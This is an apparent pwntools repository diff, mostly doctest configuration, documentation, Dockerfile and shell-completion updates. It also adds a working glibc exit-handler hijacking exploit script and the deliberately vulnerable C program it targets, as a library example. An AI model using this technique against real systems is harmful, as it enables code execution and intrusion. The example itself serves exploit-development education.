for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
# doctest optionflag for tests that haven't been looked at yet
TODO = doctest.register_optionflag('TODO')
import sphinx.ext.doctest
class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
def run(self, test, compileflags=None, out=None, clear_globs=True):
original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
def filter_platform(example):
optionflags = original_optionflags
if example.options:
for (optionflag, val) in example.options.items():
if val:
optionflags |= optionflag
else:
optionflags &= ~optionflag
if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
return False
return True
if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
return False
if (optionflags & POSIX) == POSIX and os.name != 'posix':
return False
return True
test.examples[:] = [example for example in test.examples if filter_platform(example)]
return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
if checker is None:
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
def __init__(self, *args, **kwargs):
super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
self._test_runner = None
self._doctree_had_tests = False
@property
def test_runner(self):
return self._test_runner
@test_runner.setter
def test_runner(self, value):
self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
def test_doc(self, docname, doctree):
start = datetime.now(timezone.utc).astimezone()
# self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
self._doctree_had_tests = False
try:
return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
finally:
# Only print the timestamp if there were actually tests run.
if self._doctree_had_tests:
end = datetime.now(timezone.utc).astimezone()
duration = (end - start).total_seconds()
self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
self._doctree_had_tests = False
def test_group(self, group):
# Only called when there are tests to run in the current document.
self._doctree_had_tests = True
return super(PlatformDocTestBuilder, self).test_group(group)
if 'doctest' in sys.argv:
def setup(app):
pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
app.add_builder(PlatformDocTestBuilder, override=True)
# app.connect('autodoc-skip-member', dont_skip_any_doctests)
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
if sys.version_info[:1] < (3,):
import sphinx.ext.doctest
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
else:
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
if hasattr(signal, 'alarm'):
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
else:
def sigabrt_handler(signum, frame):
raise EndlessLoop()
# thread.interrupt_main received the signum parameter in Python 3.10
if sys.version_info >= (3, 10):
signal.signal(signal.SIGABRT, sigabrt_handler)
def alrm_handler():
try:
import thread
except ImportError:
import _thread as thread
# pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
# it might not show a traceback in that case, but it will stop the endless loop.
thread.interrupt_main(signal.SIGABRT)
timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
timer.daemon = True
timer.start()
import threading
timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
timer.daemon = True
timer.start()
+3
View File
@@ -18,6 +18,9 @@
# Set the environment here so it's not in the middle of our tests.
os.environ.setdefault('SHELL', '/bin/sh')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.corefile` --- Core Files
===========================================================
+4
View File
@@ -5,6 +5,10 @@
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
import shutil
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.elf` --- ELF Files
===========================================================
+4
View File
@@ -1,6 +1,10 @@
.. testsetup:: *
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
+1
View File
@@ -1,6 +1,7 @@
.. testsetup:: *
from pwnlib.filepointer import *
from pwnlib.filepointer import _update_var
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================
+4 -1
View File
@@ -1,11 +1,14 @@
.. testsetup:: *
import time
import six
from pwnlib.context import context
from pwnlib.tubes.ssh import ssh
from pwnlib.filesystem import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
====================================================================
+4
View File
@@ -4,6 +4,10 @@
context.arch = 'amd64'
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
# TODO: Test on cygwin too
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.gdb` --- Working with GDB
======================================
+5 -4
View File
@@ -52,31 +52,32 @@ Each of the ``pwntools`` modules is documented here.
context
dynelf
encoders
elf/*
elf
exception
filepointer
filesystem
flag
fmtstr
gdb
libc
libcdb
log
memleak
protocols
qemu
regsort
replacements
rop/*
rop
runner
shellcraft
shellcraft/*
term
timeout
tubes
tubes/*
ui
update
useragents
util/*
windbg
.. toctree::
:hidden:
+17 -6
View File
@@ -1,7 +1,7 @@
Installation
============
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Prerequisites
-------------
@@ -15,18 +15,27 @@ following system libraries installed.
install/*
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
.. code-block:: bash
brew install pwntools
Released Version
-----------------
pwntools is available as a ``pip`` package for both Python2 and Python3.
pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
Python3
^^^^^^^
The Python version required for installing Pwntools is kept as low as possible on a best-effort basis. However, new features target Python3.10 and later.
.. code-block:: bash
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
@@ -34,14 +43,16 @@ Python3
Python2 (Deprecated)
^^^^^^^^^^^^^^^^^^^^
Python2 support has been removed in Pwntools v5.0.0. The last version to support Python2 was v4.15.0.
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
.. code-block:: bash
$ apt-get update
$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
$ sudo apt-get update
$ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
+21 -6
View File
@@ -18,28 +18,43 @@ Ubuntu Xenial (16.04) has official packages for most architectures, and does not
.. code-block:: bash
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
$ sudo apt-get install software-properties-common
$ sudo apt-add-repository ppa:pwntools/binutils
$ sudo apt-get update
Then, install the binutils for your architecture.
.. code-block:: bash
$ apt-get install binutils-$ARCH-linux-gnu
$ sudo apt-get install binutils-$ARCH-linux-gnu
Mac OS X
^^^^^^^^^^^^^^^^
Mac OS X is just as easy, but requires building binutils from source.
However, we've made ``homebrew`` recipes to make this a single command.
However, we've made ``homebrew`` recipes to make this just two commands.
After installing `brew <https://brew.sh>`__, grab the appropriate
recipe from our `binutils
repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ brew install ./binutils-$ARCH.rb
Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
The actual resolution of the tap migration is still pending.
Windows
^^^^^^^^^^^^^^^^
Windows support is experimental. You can try installing a prebuilt version of binutils
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
instead of the MinGW toolchains due to differences in the commandline handling.
Alternate OSes
^^^^^^^^^^^^^^^^
+1 -1
View File
@@ -10,7 +10,7 @@ Ubuntu
.. code-block:: bash
$ apt-get install python-dev
$ sudo apt-get install python-dev
Mac OS X
^^^^^^^^^^^^^^^^
+5
View File
@@ -2,6 +2,9 @@
from pwn import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
Getting Started
========================
@@ -34,6 +37,8 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
and all manner of things, along with some nifty helpers for common tasks.
For example, remote connections via :mod:`pwnlib.tubes.remote`.
::
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
+10
View File
@@ -0,0 +1,10 @@
:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
====================================================================
Submodules
----------
.. toctree::
:glob:
libc/*
+9
View File
@@ -0,0 +1,9 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
===========================================================
.. automodule:: pwnlib.libc.glibc
:members:
+4
View File
@@ -3,6 +3,10 @@
from pwn import *
from pwnlib.libcdb import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.libcdb` --- Libc Database
===========================================
+9
View File
@@ -1 +1,10 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.protocols.adb` --- Protocol implementations
========================================================
.. automodule:: pwnlib.protocols.adb
:members:
+4
View File
@@ -2,6 +2,10 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.qemu` --- QEMU Utilities
==========================================
+4
View File
@@ -19,6 +19,10 @@
context.clear()
# TODO: Remove global LINUX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
==========================================================
+3
View File
@@ -7,6 +7,9 @@
from pwnlib.elf import ELF
from pwnlib.tubes.process import process
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
==========================================================
+4
View File
@@ -3,6 +3,10 @@
from pwnlib.runner import *
from pwnlib.asm import asm
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.runner` --- Running Shellcode
===========================================
+4
View File
@@ -2,6 +2,10 @@
from pwnlib import shellcraft
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft` --- Shellcode generation
=================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='aarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
===========================================================
+4
View File
@@ -3,6 +3,10 @@
from pwn import *
context.clear(arch='amd64')
# TODO: POSIX/WINDOWS shellcode test
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='arm')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='i386')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
===========================================================
+22
View File
@@ -0,0 +1,22 @@
.. testsetup:: *
from pwn import *
context.clear(arch='loongarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
==================================================================
:mod:`pwnlib.shellcraft.loongarch64`
------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64
:members:
:mod:`pwnlib.shellcraft.loongarch64.linux`
------------------------------------------
.. automodule:: pwnlib.shellcraft.loongarch64.linux
:members:
+3
View File
@@ -12,6 +12,9 @@
context.clear(arch='mips')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
===========================================================
+22
View File
@@ -0,0 +1,22 @@
.. testsetup:: *
from pwn import *
context.clear(arch='riscv64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
==========================================================
:mod:`pwnlib.shellcraft.riscv64`
--------------------------------
.. automodule:: pwnlib.shellcraft.riscv64
:members:
:mod:`pwnlib.shellcraft.riscv64.linux`
--------------------------------------
.. automodule:: pwnlib.shellcraft.riscv64.linux
:members:
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
context.clear(arch='thumb')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
===========================================================
+4
View File
@@ -2,6 +2,10 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.tubes.ssh` --- SSH
===========================================================
+3
View File
@@ -3,6 +3,9 @@
from pwn import *
import io
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.ui` --- Functions for user interaction
===================================================
+3
View File
@@ -2,6 +2,9 @@
from pwnlib.util.net import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.net` --- Networking interfaces
===================================================
+3
View File
@@ -4,6 +4,9 @@
from pwnlib.tubes.process import process
import os, sys
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.util.proc` --- Working with ``/proc/``
===================================================
+9
View File
@@ -0,0 +1,9 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.windbg` --- Working with WinDbg
============================================
.. automodule:: pwnlib.windbg
:members:
+72
View File
@@ -0,0 +1,72 @@
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
from pwn import *
import shutil
import tempfile
import os
context.log_level = 'debug'
context.arch = 'amd64'
EXE = './vulnerable'
t = process(EXE)
elf = ELF(EXE)
# Copy libc so later we can unstrip it
libc = elf.libc
tmpfd, tmpname = tempfile.mkstemp()
print(tmpfd)
with open(libc.file.name, 'rb') as f:
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
libcdb.unstrip_libc(tmpname)
libc = ELF(tmpname)
# Now fetch information
# XXX: in my build, the tls variable locates at fs:[-4]
t.recvuntil(b': ')
tls = int(t.recvline(), 16)
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
t.recvuntil(b': ')
handle = int(t.recvline(), 16)
t.recvuntil(b': ')
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
info(f'Leak libc_base: {libc_base:#x}')
libc.address = libc_base
t.recvuntil(b': ')
chunk = int(t.recvline(), 16)
# Then read pointer_guard value
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
t.recvuntil(b': ')
guard = int(t.recvline(), 16)
info(f'Guard is: {guard:#x}')
# Next overwrite initial and tls_dtors
t.recvuntil(b'%p=%lx')
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
# on glibc 2.43, the offset is 0x498
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
def write_object(addr: int, blob: bytes) -> str:
return ' '.join(
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
for i in range(0, len(blob), 8)
)
# Firstly, write glibc initial to overwrite global dtor
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
# Secondly, write tls dtor
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
# XXX: tls_dtor_list must be free-able
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
# on my machine it's fs:[-0x48]
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
# Thirdly, terminate cycle
t.sendline(b'x')
# Finally, wait for exit
t.recvuntil(b'happen:\n')
t.interactive()
BIN
View File
Binary file not shown.
+39
View File
@@ -0,0 +1,39 @@
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <threads.h>
#include <unistd.h>
thread_local int x;
void malicious_handler(void *arg) {
printf("Calling handler with %p\n", arg);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Assume you have some way to leak information about TLS: %p\n", &x);
printf("Some more information about function to hijack: %p\n", malicious_handler);
printf("You can't exploit without glibc: %p\n", puts);
void *p = malloc(0x500);
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
printf("Then you have some way to read/write pointer_guard\n");
size_t *where = NULL;
printf("Where to read? %%p > ");
scanf("%p", &where);
printf("Dereferenced value: %#lx\n", where ? *where : 0);
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
printf("Write addresses in pairs: %%p=%%lx\n");
size_t value = 0;
while (scanf("%p=%lx", &where, &value) == 2) {
*where = value;
}
printf("Let's exit to see what will happen:\n");
return 0;
}
+10 -12
View File
@@ -3,12 +3,12 @@
# Based on Ubuntu
############################################################
FROM ubuntu:jammy
MAINTAINER Maintainer Gallopsled et al.
FROM ubuntu:noble
LABEL maintainer="Maintainer Gallopsled et al."
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
@@ -20,9 +20,6 @@ RUN apt-get update \
git \
libssl-dev \
libffi-dev \
python2.7 \
python2.7-dev \
python2-pip-whl \
python3 \
python3-pip \
python3-dev \
@@ -32,19 +29,20 @@ RUN apt-get update \
binutils-aarch64-linux-gnu \
binutils-mips-linux-gnu \
binutils-mipsel-linux-gnu \
binutils-msp430 \
binutils-powerpc-linux-gnu \
binutils-powerpc64-linux-gnu \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
tmux \
patchelf \
&& locale-gen en_US.UTF-8 \
&& update-locale LANG=en_US.UTF-8 \
&& PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --upgrade pip setuptools wheel \
&& python2.7 -m pip install --upgrade pwntools \
&& python3 -m pip install --upgrade pip \
&& python3 -m pip install --upgrade pwntools \
&& python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& userdel -r ubuntu \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta \
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
-8
View File
@@ -1,8 +0,0 @@
from debian:buster
RUN apt-get update
RUN apt-get -y dist-upgrade
RUN apt-get -y install python3 python3-pip
RUN apt-get -y install git wget unzip
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev \
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+4 -8
View File
@@ -5,8 +5,7 @@ ENV HISTFILE=/home/pwntools/.history
# Uninstall existing versions of pwntools
USER root
RUN python2.7 -m pip uninstall -q -y pwntools \
&& python3 -m pip uninstall -q -y pwntools
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools
# Switch back to the pwntools user from here forward
USER pwntools
@@ -18,17 +17,14 @@ ENV PATH="/home/pwntools/.local/bin:${PATH}"
# Install Pwntools to the home directory, make it an editable install
RUN git clone https://github.com/Gallopsled/pwntools \
&& python2.7 -m pip install --upgrade --editable pwntools \
&& python3 -m pip install --upgrade --editable pwntools \
&& python3 -m pip install --break-system-packages --upgrade --editable pwntools \
&& PWNLIB_NOTERM=1 pwn version
# Requirements for running the tests
RUN python2.7 -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
&& python3 -m pip install --upgrade --requirement pwntools/docs/requirements.txt
RUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt
# Python niceties for debugging
RUN python2.7 -m pip install -U ipython ipdb \
&& python3 -m pip install -U ipython ipdb
RUN python3 -m pip install --break-system-packages -U ipython ipdb
# Dependencies from .travis.yml addons -> apt -> packages
ARG DEBIAN_FRONTEND=noninteractive
+1 -1
View File
@@ -408,7 +408,7 @@ c.TerminalInteractiveShell.prompts_class = ClassicPrompts
# Options for configuring the SQLite connection
#
# These options are passed as keyword args to sqlite3.connect when establishing
# database conenctions.
# database connections.
# c.HistoryManager.connection_options = {}
# enable the SQLite history
+1 -2
View File
@@ -1,7 +1,6 @@
FROM pwntools/pwntools:base
USER root
RUN python2.7 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable \
&& python3 -m pip install --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+223 -79
View File
@@ -5,13 +5,63 @@
# Pwntools Command-line Interface
#
# This file was generated with help from Zargparse (https://github.com/ctil/zargparse)
# NOTE: Don't use Zargparse any more as it may bring known errors!
# ----------------------------------------------------------------------------------------
_comp_pid() {
if [[ $1 == 'pid' ]] {
local line pids lines
pids=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o pid=,tty=,user=,comm=)}")
for line ($lines) {
pids+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-pids expl 'non-kernel process ID' \
compadd -o nosort -ld lines -a pids
} elif [[ $1 == 'procs' ]] {
local line names lines
names=()
# extract command output line by line
lines=("${(@f)$(ps --ppid 2 -p 2 -N -o comm=,pid=,tty=,user=)}")
for line ($lines) {
names+=${line[(w)1]} # extract first word (pid)
}
_wanted nonk-comm expl 'non-kernel process names' \
compadd -o nosort -ld lines -a names
}
}
_comp_funcs() {
local names
output=$(readelf -Ws $1 2>/dev/null)
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(awk '$4=="FUNC" && $7!="UND" {print $8}' <(echo "$output"))}")
if [[ $#names -gt 0 ]] {
_values "FUNCTIONS" $names
}
}
_comp_error() {
local -a names
which errno > /dev/null
if [[ $? -ne 0 ]] {
return
}
names=("${(f)$(LC_ALL=C errno -l | awk '{printf "%s:(%d) %s\n", $1, $2, substr($0, length($1 $2)+3)}')}")
_describe "ERRORS" names
}
typeset -A opt_args
_pwn() {
setopt localoptions
setopt extendedglob
# Define the subcommands
local -a commands
commands=(
'asm:Assemble shellcode into bytes'
'checksec:Check binary security settings'
@@ -24,174 +74,268 @@ _pwn() {
'elfpatch:Patch an ELF file'
'errno:Prints out error messages'
'hex:Hex-encodes data provided on the command line or stdin'
'libcdb:Print various information about a libc binary'
'phd:Pretty hex dump'
'scramble:Strip binaries for CTF usage'
'shellcraft:Shellcode encoder'
'template:Microwave shellcode -- Easy, fast and delicious'
'unhex:Generate an exploit template'
'update:Decodes hex-encoded data provided on the command line or via stdin.'
'version:Check for pwntools updates'
'pwnstrip:Strip binaries for CTF usage'
'scramble:Shellcode encoder'
'shellcraft:Microwave shellcode -- Easy, fast and delicious'
'template:Generate an exploit template'
'unhex:Decodes hex-encoded data provided on the command line or via stdin.'
'update:Check for pwntools updates'
'version:Pwntools version'
)
# Global flags (i.e. ones not associated with a subcommand)
_arguments \
"1: :{_describe 'command' commands}" \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
"1:COMMAND: _describe 'command' commands" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:: :->args'
# Flags for each subcommand
case $state in
args)
case $words[1] in
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'=[Patch function]:' \
'(-o --output)'{-o,--output}'=[None]:' \
;;
asm)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes (provided as hex)]:HEXBYTES: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \
'(-i --infile)'{-i,--infile}'=[Specify input file]:' \
'(-i --infile)'{-i,--infile}'[Specify input file]:INPUT:_files' \
'(-r --run)'{-r,--run}'[Run output]' \
'*:LINE: '
;;
checksec)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--file=[File to check (for compatibility with checksec.sh)]:' \
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--file[File to check]:ELF:_files' \
'*:ELF:_files'
;;
constgrep)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \
